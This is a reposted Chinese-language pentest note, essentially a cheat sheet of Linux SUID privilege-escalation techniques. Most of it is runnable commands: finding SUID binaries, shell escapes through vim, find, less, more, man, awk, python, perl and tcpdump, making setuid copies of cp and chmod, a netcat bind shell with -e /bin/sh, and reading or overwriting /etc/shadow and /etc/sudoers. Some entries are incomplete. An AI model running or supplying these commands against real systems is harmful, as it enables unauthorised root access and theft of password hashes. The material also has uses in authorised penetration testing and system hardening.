本篇文章非原創,用作筆記方便后期查詢,原創作者微信公眾號“黑白之道”如有侵權,聯系刪除
什么是suid?
通俗的理解為其他用戶執行這個程序的時候可以用該程序所有者/組的權限。
常見的可用於suid提權的命令
Vim find Bash More Less cp
chmod
ash/linux shell
awk
mv
man
python
tcpdump
查找suid文件
find / -perm -u=s -type f 2>/dev/null /表示從文件系統的頂部(根)開始並找到每個目錄 -perm 表示搜索隨后的權限 -u = s表示查找root用戶擁有的文件 -type表示我們正在尋找的文件類型 f 表示常規文件,而不是目錄或特殊文件 2表示該進程的第二個文件描述符,即stderr(標准錯誤) >表示重定向 / dev / null是一個特殊的文件系統對象,它將丟棄寫入其中的所有內容。
Vim
Vim是Linux環境下的一款文件編輯器。但是,如果以SUID運行的話,它會繼承root用戶的權限,因此可以讀取系統上的所有文件。
vim.tiny # Press ESC key :set shell=/bin/sh :shell
如果Find命令也是以Suid權限運行的話,則將通過find執行的所有命令都會以root權限執行。
touch pentestlab find pentestlab -exec whoami \;
大部分Linux操作系統都安裝了netcat,因此也可以被利用來將權限提升至root。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
連接上去就會直接獲取到一個Root權限的shell。
-
netcat 192.168.1.189 5555
-
id
-
cat /etc/shadow
Bash
bash -p bash-3.2# id uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
more /home/pelle/myfile !/bin/bash
Less
less /etc/passwd !/bin/sh
sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
sudo ash
awk 'BEGIN {system("/bin/bash")}'
mv(暫時未有實例)
使用mv 覆蓋 /etc/shadow 或者/etc/sudoers
man
man passwd !/bin/bash
import os
os.system("/bin/bash")
perl
exec "/bin/bash";
ruby/lua/etc也有相似
tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test chmod +x /tmp/.test sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
后續再找到再補充
